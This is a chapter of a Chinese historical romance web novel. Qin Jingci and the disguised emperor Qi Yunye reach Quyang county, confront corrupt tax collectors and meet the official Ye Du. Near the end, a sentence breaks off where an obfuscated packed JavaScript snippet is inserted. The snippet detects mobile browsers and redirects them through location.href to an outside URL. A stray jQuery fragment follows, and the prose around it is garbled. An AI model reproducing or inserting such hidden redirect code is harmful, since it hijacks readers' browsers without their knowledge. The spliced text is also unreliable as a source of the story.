第二日一早,秦惊辞尚未完全清醒,她揉着眼绕过那屏风,祁允业便一身简易的骑装,乌黑的头发束在了身后。
端坐在那里,一手喝着茶,一边道,“等你许久了,咱们这就出发。”
祁允业偏过头,那双丹凤眼露出一副无辜的模样,好像此事全是听从秦惊辞的一般。
秦惊辞愣了一瞬,他很快提醒道,“昨日,你说的,不记得了吗?”
听了这话,她面色生惑,却转身勾起一笑,如她所料。
祁允业等在外面,她只得早早的收拾些东西,交代小雀照顾好王兰昭,两人便上路了。
曲阳距离秋山只有一河之隔,也难怪那人能来的如此之快了。
秋山脚下,正好有一渡口,一个约莫四五十的男子,在摆渡,见两人过来,撑着小船向岸边划来,他上下打量一番,“两位可是要过河?”
秦惊辞着一身白色锦衣,高高的马尾扎在身后,腰间的佩剑也很是显眼,看着却是像一双富贵人家的兄妹。
秦惊辞应道,“船家在此许久了吧?”
说话间,秦惊辞也上了船,祁允业寸步不离的跟在了身后。
那船家有些惊异这些富贵子弟的平和,打开了话匣子,“头些年渡船的人还多些,这些年是愈发少了,这活计怕是连温饱都顾不上了。”
两人眼光交汇,秦惊辞又道,“这是为何?”
那船家撑着船,向里走去,“两位应是外乡人吧?我多问一句,此去可是曲阳?”
秦惊辞点了点头。
好不容易来个活人,那人可算找到了个说话的,“两位看着应是镖局的吧,曲阳县乱的很,况且做不了生意的,连饭都吃不上,哪还有生意给你们做啊。”
祁允业一直未说话,他的脸色也不太好。
秦惊辞也打听到了些东西,所幸就不再开口。
那船夫倒是丝毫没觉出什么来,仍在滔滔不绝,甚至隐隐有将话头引到祁允业身上的趋势,“这小郎君是你哥哥啊?看着面生生的,想必是个读书人啊。”
这话秦惊辞还未回应,他破天荒的开了口,“是她夫君。”
祁允业的眼神阴阴的,面上也冷冷的,那船家胡乱的说了句,“小郎君脾气倒是挺大的嘛,不知道的还以为你是个皇帝老儿呢。”
秦惊辞见状,赶忙捏捏了他的手臂,多一事不如少一事,况且船家除了话有些多以外,倒也是提供了不少的信息。
船家虽然话多,但撑船的技术确实没得说,不过半炷香的时间,他们便来到了对岸,两人上了岸,那船家还嘱咐着,“这边向南一直走,便是曲阳县了,可不要到处瞎走,白白多走了些冤枉路啊。”
秦惊辞付了钱,微笑着谢过。
过了条河,这曲阳看着似乎也没想象中的那么差。
他们沿着林子一直走,不知过了多久,才看到一出界碑,上面的曲阳二字,因时间久远,还有些模糊了。
曲阳县看着并没什么太大的差别,街边的走街串巷的摊贩,和热闹的行人,看不出这曲阳有什么不妥之处。
秦惊辞一进这县域,便打起了十二分的精神,一是要注意叶渡的行迹,又得护着祁允业的安全,她确实很警惕。
祁允业倒是神色如常,走在前面,目行着曲阳的一点一滴,真有点那个微服私访的感觉了。
就在这时,一行官府模样的人,训练有素的上了街,原先吵吵嚷嚷的街边,顿时安静了许多,摊贩们一个个神色紧张,像是有什么大事要发生。
为首那人一身暗绿的官府,走在街上,面上笑盈盈的,可随手一摆,身后的官兵便强行入了那铺子,将里面的钱财洗劫一空。
那商铺的老板任由官兵拖了出来,手里还牢牢的抓住一个匣子不肯丢,身后一个半大的孩子,哭闹着跟在身后。
那孩子提起一把木刀,朝着那官兵砍去,木刀不过轻劈一下,未伤及他分毫,可那官兵拔出腰间的佩剑,朝着那父子劈来。
铿锵一声,一把银剑挡住了剑锋,那官兵一愣,可见剑下的人,不仅是个女郎,还是个身姿窈窕,国色天香的女郎。
脸上顿时浮现出了油腻的表情。
祁允业的眼神顿时阴狠,他偏头看着藏在暗处的伏龙卫。
可忽而,一行人的踏步声拦住了所有人的去路。
“贾县令,刀下留人。”
突然的声音,闯入了如今的局面,贾言给了那人一个眼色,那人收起了刀,退回了他的身后。
秦惊辞扶起那掌柜的,朝来人望去,她乌黑的瞳仁忽地睁大,又看了祁允业一眼,可他的心思似乎并不在这儿。
贾言提起个笑脸,躬身道,“叶大人,下官正在按律收税,不知大人有何指教。”
指教两字他读得很重,眼神也透着轻蔑,他们虽已来了多时,但贾言此人,阴险狡诈,只顺从屈尚天的意见。
对叶渡便是采取不闻不问,但也不会得罪的态度。
叶渡走近,先环看了他们二人,秦惊辞站在身后,眉毛闪动,眼神飘忽。
他便自作主张道,“贾大人严重了,谈不上指教,只是这两人是我带来的,不懂规矩了些,还望大人勿怪。”
秦惊辞有些替叶渡捏了把汗,偷偷观察着祁允业的表情,没什么变化,秦惊辞稍稍放了心。
贾言自是不好当众让叶渡下不来台,只好悻悻而归,可那动刀的官兵,临走前,还威胁着躲在秦惊辞身后的商铺老板。
改日,他定是会登门。
待那些人走干净了,掌柜的颤颤巍巍的坐在了铺子前的台阶上,搂过怀里的匣子,低声抽泣着。
身旁的小儿,呆呆的坐在原地。
那掌柜不过一会儿,像是突然反应过来了似的,抓着叶渡的袖子不妨,眼神忽地睁大,“大人,求你你救救我们全家啊,我愿当牛做马报答你。”
叶渡迟迟没有放话,他想等一个人,看他的态度如何。
那掌柜以为自己的要求太过,赶忙又道,“大人,只求你救救我家小儿,你带上他,他什么都会,很能干的。”
那小儿哭着喊着“爹。”
身子却被推着不停的向前。
父母就是这样,甘愿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810900|175230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奉上一切,只为让你能多向前几步,可他们不知,孩子真正想要的又是什么。
“够了。”祁允业怒声一斥。
叶渡倒是勾起一抹浅笑,如此也算不负他费尽周折的想帮他了,还算没被那个老妖婆给带坏。
他看过秦惊辞,示意她不必慌张,而后便道,“店家,无须担忧,我观天象,真龙现世,定能荡平曲阳的妖邪。”
祁允业平身最讨厌鬼神一说,他冷眼看了叶渡一眼,转身,甩了一句话在身后,“带我去你的住处。”
话毕,还不忘拉着秦惊辞。
福来客栈二楼唯一的一间上等房,现在聚集了不少客人。
秦惊辞靠在一旁的柱子上,无奈的看着两人。
祁允业端坐在红陶木的桌子上,盯着叶渡,面色不太好。
叶渡谢罪道,“陛下,祭祀大典一事,确为臣的计策,曲阳百姓深陷水火,臣不得不出此下策。”
祁允业端起面前的茶杯,迟迟没有开口,忽而,窗边一闪,卫越跃入,蹲下道,“陛下,曲阳县令可能与朝中暗中勾结,贪墨税银。”
卫越的话带到,他的神色才稍稍有了变化。
秦惊辞走至了前面,说道,“贪墨税银,定与叶大人此次所办的事相关,况且此事定上下勾连,不若将计就计,揪出幕后黑手。
秦惊辞说话间,眼神晃过叶渡,两人迅速达成了共识。
祁允业听完,道,“夫人言之有理,就如此办吧。”忽而,他又补充,“卫越,你协助叶大人办理此事。”
话毕,所有人都出去了,这房中仅剩下了他们二人,秦惊辞默默的品着茶水,断不会先打破这个沉默。
如此安安静静,也挺好的,省的他费尽心思的想怎么说。
但祁允业是不会让她如愿的,“将军,好像对这个案子很上心啊。”
他的称呼不停的转变,这让秦惊辞有些头疼,也警惕了起来,“涉及民生,是臣妾多事了。”
祁允业心里还有后半句后,没说出来。
可他突然不想说了。
秦惊辞看着他欲言又止的模样,松了口气,应当是应付过了。
次日一早,叶渡便早早的等在门口,秦惊辞常年都在北地,玉都鲜少有人认识她,她随便借了件归羽的衣裳,便顶替了归羽的位置。
祁允业就有些棘手了,不过对叶渡来说不是什么问题,他先道,“陛下,臣冒犯了。”
随后,他提笔二三,在祁允业的脸上,不过半盏茶的时间,好像又勾勒出一张脸,这相貌若是细看,还是能看出他是祁允业,可若是不仔细观察,又彷佛泯然众人。
祁允业盯着这张脸,忽地开口,“叶大人这张脸,可是真的?”
一些怀疑的种子就从此刻起,在他的心中生根发芽。
叶渡退后两步,作揖道,“陛下折煞臣了,这可是欺君之罪,臣可担不起。”
祁允业抽回神色,继续看着眼前的这张脸。
可身后的秦惊辞,却将这记在了心里,欺君之罪他是担不起,可若真实的面貌之下,他能担得起呢。